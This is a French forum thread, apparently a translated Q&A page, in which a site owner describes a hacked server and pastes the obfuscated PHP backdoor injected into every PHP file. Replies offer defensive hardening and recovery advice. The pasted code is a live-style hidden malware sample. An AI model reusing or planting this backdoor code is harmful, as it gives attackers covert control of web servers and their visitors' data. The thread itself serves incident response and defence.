web-dev-qa-db-fra.com

Que dois-je faire à propos du serveur piraté?

Mon serveur dédié (géré), avec plusieurs sites (qui n'utilisent pas tous WP) a été piraté.

Du code masqué a été ajouté à tous les fichiers (y compris WP core/plugin/theme et éléments non-WP) pour lesquels le contenu commence par une commande php (et pas simplement tous les fichiers avec un suffixe .php).

Cela ne semble pas affecter la page rendue, et le peu que je sais suggère que ce soit une porte dérobée/un cheval de Troie - ce qui est à la limite de mes connaissances.

Aujourd'hui, je constate que les autorisations ont été modifiées à 200, ce que mon fournisseur de service aurait probablement effectué (bien que je n'ai pas reçu de notification, ni encore de réponse à ma question "Avez-vous ...?").

Je suis curieux de savoir ce que fait le code, même si le décoder ne vaut pas la peine, car il s'agit clairement d'une "mauvaise chose".

Je veux trouver l'étendue des dégâts, la cause et prévenir une nouvelle occurrence.

C'est assez simple (bien que prenant beaucoup de temps) de remplacer les fichiers évidemment modifiés, et c'est ce que je vais faire.

Mes sauvegardes SQL DB semblent être "propres" - mais je ne sais pas assez pour être sûr.

Je suppose peut-être à tort que la cause est liée à WP, mais je ne sais pas si cela aurait plutôt été dû à la conjecture de mot de passe ou autre.

Suggestions constructives appréciées. S'il vous plaît et merci.

Mise à jour: après avoir été interrogé sur le code supplémentaire, il est ajouté ci-dessous. À l'origine, je ne l'avais pas inclus, car cela ne semblait pas approprié (cela ne valait pas la peine de décoder, sans lequel il y aurait probablement peu à gagner).

$zbdcvsv = 'tj  x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc    x7f!|w6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>37    x41 107 x45 116 x54"]); if ((strstr($uas,"  x) or (strstr($uas,"    x63 150 x72 157 x6d 145")rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-tvodujpo!   x24-    x24y7   x24-    x24*67]y74]275]y7:]268]y7f#<!%tww!>!    x2400~:<h%_6R85,67R37,18R#>q%V<*#fopoV;ho))!gj!<*#cd2bge56+99386    x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uft!*uyfu  x27k:!ftmf!}Zqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%-%bT-%hW~%fdy)##-!#~<p3)%cB%iN}#-!  x24/%tmw/   x24)%c*W%eN+#Qi x5c1^W%c!>!%i   x5c2^<!Ce*[!%cI<pd%w6Z6<.5`hA   x27pd%66d   163 x69 145")) or (strstr($uas,"    x72 1668M4P8]37]278]225]241]334]368]322]3]364]6]283]427]3w6*CW&)7gj6<.[A    x27&6<  x7fw6*  x7f_*#[k2`as,"  x61 156 x64 162 x6f 151 x64")x65    141 x74 145 x5f 146 x75 1}  x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:745]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%)udfoopdXA    x22)7gj6<*QDU`MPT7-NBx273qj%6<*Y%)fnbozcYufhA   x272qj%6<^#zsfvr#   x5cq%7/7#@#7/7^#iubq#   x%  x24-    x24*<!~!    x24/%t2w/**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmFSUT`LDPT7-UFOJ`GB)fubfsdtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR   x27tfs%6<*17-SFEBFI,6<*127-UVPF8    124 x54 120 x5f 125 x53 105 x52 1#00#W~!%t2w)##Qtjw)#]XA    x27K6<  x7fw6*3qj%7>    x22) or (strstr($uas,"  x66 151 x72 145 x66 157 x78")))9y]g2y]#>>*4-1-bubE{h%)82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K7tolower($_SERVER[" x4  x3a 61  x31")) or (strstr($ujyf`x   x22l:!}V;3q%}U;yk5`{66~6<&w6<   x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA    x27&6<.f<!  x24-    x24gps)%j>1<%j=tj{fpg)  x24)##-!#~<#/%  x24-    x24!>!fyqmpef)# x24*<!%t::!>!   x24Yp { $GLOBALS["  x61 156 x75 156 x61"]=1; $uas=str8:56985:6197g:74985-)% x24-    x24y4   x24-    x24]y8  x24-    <.msv`ftsbqA7>q%6<  x7fw6*  x7f_*#fubfsdX9#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>!  x24/%tmw/!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]4b!>!%yy)#}#-#    x24-    x24-tumjgA  x27doj%6<   x7fw6*  x7f_*#fmjgk4`{6~6<tfs%w6<   x7fw6*CW]}R;2]},;osvufs}    x27;mnui}&;zepc}A;~!}   x7f;!|!}{;)gj}l;33bq}k;opjutmfV x7f<*X&Z&S{ftmfV    x7f<*XAZASV<*w%)pp5.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>62]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:7592P4]D6#<%G]y6d]281Ld]2x24]26 x24-    x24<%j,,*!| x24-    x24g5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepjepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tut!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_  x5c}X   x24<!%tmw!>!#]y84]275]y8mg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fub24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y234]342]58]24]31#-%tdz*Wsfuvso!%bss    x5csboe))1/3vd}+;!>!}   x27;!>>>!}_;gvc%}&;ftmbg}   x7f;!osvufs}w;* x7f!>>  x2sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudo]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!  x246767~6<Cw6 $vbpgblb("", $gamgsii); $eutnyme();}}vg   x22)!gj}1~!<2p% x7f!~!<##!>!2p%ZfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/NJU,6<*27-SFGTOBSUOSVUFS,6<*mdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!/20QUUI7jsv%7UFH#   x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-Kmgoj{h1:|:*mmvo:>:iuhofm%:-dovg}x;0]=])0#)U!    x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%t%:osvufs:~:<*9-1-r%)s%>/h%sqpt)%z-#:#*   x24-    x24!>!  x24/%tjw/   x24*b   x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobsc^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z5cq% x27jsv%6<C>^#zsfvr# x5cq%7**^72qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA    >j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{he(array_map("zkglakb",str_split("%tjw!>!#]y84]275]y83]248 { $vbpgblb = "   x63 162     x27pd%6<pd%w6Z6<.2`hA   x27pd%6<C   x27pd%6|6.7eu{66~67<&if((function_exists("  x6f 142 x5f 163 x74 141 x72 164jQeTQcOc/#00#W~!Ydrr)%rsutcvt)fubmgoj{hA!osvufs!~<3,j%2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D]252]y85]256]y6g]257]y86]2%:|:**t%)m%=*h%)m%):fm2bd%-#1GO  x22#)fepmqyjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#4#-#D#-#W#-#C#-#O#-#N#*-!%24- x24*!|! x24-    x24 x5c%j^  x24-    x24tvctus)% x24-    x2  x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r    x5c2^-%hOh/ff2-!%t::**<(<!fwbm)%tjw)#   x24#-!#]y38#-!%w:**<")));$eutnyme =osvufs!|ftmf!~<**9.-j%-bubE{h%)1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%de>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#gxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68396]373P6]36]73]83]238M7]381]211Mpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`ms`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!tpqsut>j%!*9!   x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)su>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~    x{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufld56  x63 164 x69 157 x6e"; function zkglakb($n){return chr(ord($n)-1);} 2!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!>!    x242178}527}88:}334}472 x24<!%ff2!>!bssbz)  x24]25  x24-    x24-!%  xK)ebfsX    x27u%)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1sv%7-MSV,6<*)ujojR   x27id%6<    x7fw6*  x7f_*#ujojRk3`{666~6<&w6<   x7fw6<*&7-#o]s]o]s]#)fepmqyf    x27*&7-n%)utjm6<    x7f<^2  x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*3]273]y76]277#<!%t2w>#]y74]273]y76%)tpqsut>j%!*72!   x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%):<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:rI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b%") && (!isset($GLOBALS["   x61 156 x75 156 x61"]))))bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT#0#/*#npd/#)rrd/#00;quui#>.%!<***f   x27,*e  x27,*d  x27,*c  x27,{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV    x7f x7f x7f x7f<u%V x27{f;^nbsbq%   x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/}c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUU,;#-#}+;%-qp%)54l}    x27;%!<*#}_;#)323ldfid>}&;!osvufs>m%:|:*r%:-t%)3of:opjudovg<~   x24<!%o:!#zsfvr#    x5cq%)ufttj x22)gj6<^#Y#    x5cq%   x27Y%6s:    x5c%j:.2^,%b:<!%c:>%s:  x5c%j:^<!%w`    x5<pd%w6Z6<.4`hA    x27pd%6<pd%w6Z6<.3`hAtcvt-#w#)ldbqov>*ofmy%)utjm!|!*5!  x27!hmg%)!gj!|!*1?h%h00#*<%nfd)##Qtpz)#]341]8@error_reporting(0); $gamgsii = implodStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSgneiijtn'; $rymqhdk=explode(chr((436-316)),substr($zbdcvsv,(39702-33682),(130-96))); $oulclf = $rymqhdk[0]($rymqhdk[(6-5)]); $ezqcuyal = $rymqhdk[0]($rymqhdk[(10-8)]); if (!function_exists('rieqim')) { function rieqim($eebvtvdx, $wgctulke,$hoxaoipzz) { $iopacym = NULL; for($cisysje=0;$cisysje<(sizeof($eebvtvdx)/2);$cisysje++) { $iopacym .= substr($wgctulke, $eebvtvdx[($cisysje*2)],$eebvtvdx[($cisysje*2)+(3-2)]); } return $hoxaoipzz(chr((27-18)),chr((535-443)),$iopacym); }; } $luxvad = explode(chr((164-120)),'3719,53,5370,50,1678,47,1466,21,1251,35,166,47,680,43,1487,28,813,34,213,45,1333,51,3641,24,847,29,4735,70,5982,38,3584,57,2914,58,658,22,5867,36,3665,54,5077,46,69,45,4938,50,4988,25,3153,62,972,32,1161,25,1307,26,3507,36,1004,66,3473,34,5781,45,1776,39,1537,55,2025,56,1186,65,3081,29,5013,64,773,40,4672,63,4466,59,2789,61,4805,67,4227,31,3795,31,3543,41,5196,50,4576,61,5903,53,2568,55,1384,23,2850,64,3010,35,5123,39,3934,21,3045,36,5462,60,3359,55,4525,51,1095,66,501,67,409,23,5634,57,5301,69,432,49,0,69,481,20,5584,50,5691,52,876,61,2623,48,3215,27,2411,49,3110,43,5522,62,2147,40,4322,63,379,30,2460,40,1515,22,2081,66,3242,52,2500,68,5162,34,3886,26,335,44,3294,27,5246,55,3912,22,3955,64,2240,46,5743,38,4872,66,4044,52,1999,26,3321,38,1745,31,2378,33,306,29,1592,30,1070,25,1622,56,589,69,3772,23,4385,50,1815,67,4096,69,1286,21,1407,59,1725,20,258,48,2286,70,114,52,1882,58,3826,60,2356,22,937,35,5420,42,568,21,5956,26,723,50,4435,31,1940,59,2741,48,2187,53,4258,64,5826,41,3414,59,4637,35,2671,70,4019,25,4165,62,2972,38'); $rlojefjp = $oulclf("",rieqim($luxvad,$zbdcvsv,$ezqcuyal)); $oulclf=$zbdcvsv; $rlojefjp(""); $rlojefjp=(658-537); $zbdcvsv=$rlojefjp-1
2
glvr

Mon serveur dédié (géré), avec plusieurs sites (qui n'utilisent pas tous WP) a été piraté.

OK, ça arrive. Pas la fin du monde.


Aujourd'hui, je constate que les autorisations ont été modifiées à 200, ce que mon fournisseur de service aurait probablement effectué (bien que je n'ai pas reçu de notification, ni encore de réponse à ma question "Avez-vous ...?"). Il se peut que quelqu'un ait tenté d'attaquer votre fournisseur de services. Il est assez rare d'avoir l'autorisation de 200 utilisateurs.

Sous Linux, il existe deux méthodes pour modifier les autorisations file.php.

-rwxrwxrwx  file.php
  • Méthode symbolique
  • Méthode de la valeur absolue

La méthode symbolique est pour les geeks tels que David MacKenzie qui a écrit l'outil chmod, et nous ne parlerons qu'en méthode de la valeur absolue.

La permission du fichier suivant:

-rwxrwxrwx  file.php

est 777.

enter image description here

Apparemment, vos fichiers étaient 200 comme ceci:

--w-------  file.php

4 means Read,
2 means Write
1 means Execute

On dirait que le pirate a obtenu votre accès root.


Je suis curieux de savoir ce que fait le code, même si le décoder ne vaut pas la peine, car il s'agit clairement d'une "mauvaise chose".

Je ne m'embêterais pas avec ça. Je me concentrerais sur la récupération. Sinon, vous perdrez un temps précieux.


Je veux trouver l'étendue des dommages, la cause et empêcher une répétition.

Correct, je vais me concentrer uniquement sur la prévention.

Si votre fournisseur d'hébergement ne fournit pas les commentaires, c'est de leur faute, alors c'est peut-être de votre faute.


Avez-vous utilisé la dernière version de PHP?

Consultez cette URL et assurez-vous qu'en 2016 - 207 failles de sécurité ont été trouvées dans PHP. http://www.cvedetails.com/product/128/PHP-PHP.html?vendor_id=74

PHP y parvient, mais vous devez constamment mettre à jour la version.


Avez-vous utilisé des mises à jour automatiques du logiciel?

Mais pas seulement PHP, vous devez créer des mises à jour automatiques pour l’ensemble du serveur Web. C'est très important.

De temps en temps, de nouvelles vulnérabilités ont été découvertes pour CentOS ou Ubuntu que vous utilisez. Et j'ai été témoin de grands problèmes, simplement parce que le système d'exploitation n'était pas à jour avec les mises à jour de sécurité.

Dans Ubuntu, vous feriez quelque chose comme

Sudo apt-get update
Sudo unattended-upgrade

quelque part dans le travail cron, ou

unattended-upgrade --dry-run --debug

Pour tester la mise à niveau.

Si vous aimez effectuer des mises à niveau pour travailler en tant que service, vous pouvez essayer

dpkg-reconfigure unattended-upgrades

Vous devrez généralement le faire si votre hébergeur ne le fait pas automatiquement. Vérifiez s'il vous plaît.


Avez-vous utilisé la détection de changement de fichier?

Une partie du plugin de sécurité iThemes que vous utilisez déjà est la détection de changement de fichier. C’est très important d’avoir réglé cette question car toutes les analyses de sécurité mentionnent qu’il s’agit d’une caractéristique essentielle. Cependant, à partir de là, vous devrez faire attention aux fichiers mis à jour. Il est important de limiter le nombre de dossiers et de ne pas être informé en fonction de l’extension des fichiers. En règle générale, vous n'avez pas besoin de suivre les images.

Quelqu'un at-il trouvé vos fichiers de log?

Les fichiers journaux doivent être interdits en général via .htaccess. Si vous êtes dans Nginx, puis dans le fichier de configuration Nginx. Certains plug-ins de sauvegarde utilisent wp-content pour stocker les fichiers journaux. Certaines d'entre elles ont une convention de nommage faible et les dépisteurs peuvent obtenir vos journaux, ainsi que les informations relatives à votre serveur Web.

L'extension des fichiers journaux peut ne pas toujours être .log. Ce peut être log.1 et comme. Garde cela à l'esprit.


WP SCAN peut-il détecter vos mots de passe et vos utilisateurs?

Utilisez l'outil WP SCAN et vérifiez s'il peut déchiffrer vos mots de passe.

Vous pouvez envisager une règle .htaccess afin d’empêcher l’énumération du nom d’utilisateur WordPress si vous n’avez pas d’effets secondaires.

RewriteCond %{QUERY_STRING} author=d
RewriteRule ^ /? [L,R=301]

Vos portes sont-elles grandes ouvertes?

Vous pouvez envisager de fermer votre port mysql s'il est ouvert.

PORT      STATE   SERVICE
3306/tcp  open    mysql

Certains services tels que mysql ne devraient pas avoir de ports ouverts, comme dans l'exemple ci-dessus. Vous aurez besoin de rechercher le bon scanner de port sur le Web.

De plus, votre formulaire de connexion doit avoir le nombre de connexions limité, ainsi que les canaux SSH et FTP de votre serveur Web.

Une autre porte est xmlrpc-php. Si vous n'en avez pas besoin, vous pouvez essayer de l'éliminer , car ce serait l'endroit où quelqu'un pourrait essayer de se connecter.


Avez-vous eu un pare-feu .htaccess?

La sixième génération du pare-feu de la presse périssable n’est pas du tout gênée par votre fichier .htaccess. https://perishablepress.com/6g/

Cela inclut les robots vides et le retrait des robots malveillants. Comme je l'ai vérifié, cela devrait fonctionner sans interférer avec les règles existantes en .htaccess.

Vous devriez le tester à faible trafic ou sur le serveur de développement, et utiliser éventuellement tous les conseils à partir de là. Devrait être facile, il suffit de copier et coller.


Avez-vous utilisé RIPS pour tester vos plugins et vos thèmes?

Cela vous permettra d’analyser les plugins et les thèmes de votre http(s)://domain.com/rips/index.php

Vous pouvez le télécharger depuis ici et l'extraire au même niveau que WordPress: enter image description here

Ensuite, vérifiez ceci. Le plugin Query Monitor est parfait, mais pour l’autre l’outil a rencontré des problèmes de sécurité. J'ai testé les plugins nextgen-gallery et query-monitor. Regarde ce que j'ai trouvé.

enter image description hereenter image description here

Il y a parfois des faux positifs que cet outil peut vous fournir, mais en général, vous aurez les commentaires.


Donc, le dernier conseil pour vous. Vous ne savez pas si votre base de données MySQL est propre. Vous devriez probablement exporter tous les articles en utilisant l’export standard WordPress et en créer un nouveau.

Vous devez installer de nouveaux plugins et un nouveau thème. Vous pouvez même commencer avec le nouveau VPS propre. Sur Linode, quelques clics suffisent.

Vous devriez commencer par la nouvelle installation de WordPress.

Vous pouvez probablement même changer l'hébergement si vous déterminez qu'ils ne sont pas fiables.

Le fournisseur d'hébergement peut vous fournir des informations de la part de votre serveur Web Logs s'il s'agit de la partie du service afin que vous puissiez mieux comprendre quel était le problème.

Quoi qu'il en soit - étape par étape.


Aussi, veuillez vérifier mon autre réponse que j'ai fournie à @Rahul, cela peut être bon pour la prévention.

2
prosti

Avez-vous envisagé d'engager un MSSP pour les serveurs Web?

Ce que vous décrivez n'est pas rare lorsque l'on considère ce que font les attaquants après avoir compromis un serveur Web. Sans voir la charge utile, il sera difficile de vous donner un conseil de qualité sur la charge utile et ses activités.

Pour comprendre l’ampleur des dégâts, vous voudrez peut-être faire une forme de criminalistique sur la boîte. Combien de données avez-vous sous forme de journaux? Avez-vous une politique de rétention?

FYI - le nettoyage sera plus facile que la médecine légale, mais les deux devraient être faisables. De plus, je conviens qu’il est faux de supposer immédiatement que c'est WordPress. Pouvez-vous fournir plus de détails sur les autres applications et services exécutés sur le serveur?

0
Pedro Salazar